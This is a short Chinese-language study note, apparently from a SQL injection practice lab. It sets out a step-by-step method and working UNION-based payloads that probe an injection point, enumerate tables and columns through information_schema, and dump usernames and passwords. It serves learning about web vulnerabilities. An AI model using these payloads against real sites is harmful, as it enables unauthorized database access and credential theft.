这不仅需要手动闭合单引号还得手动闭合但括号。
可以猜测出原本的sql查询语句为:select * from table where id = ('$id');
所以我们插入的内容到sql语句后为:('1')--+')
整理之前学习的sql注入思路:
1、通过get手动传参,判断是否有查询数据库的操作。
2、判断是否存在注入点。输入1,能查;输入1',报错;输入1'--+能查,则存在字符型注入。如果是存在数值型注入,输入带有单引号或者双引号则会存在报错,直接注入即可。
3、判断当前 查询语句能返回多少列结果,使用order by 数字判断。然后将参数值设置为不合理的值如-1,爆出显示位。
4、然后就可以做联合查询了如:/id=-1' union select 1,database(),version()--+(爆出当前使用数据库名如security)
5、爆出档期按数据库名后,就可以利用mysql的information_schema数据库(相当目录系统)里的tables表和columns爆出security的表表名,表里对应的字段名.
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6、查询数据
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+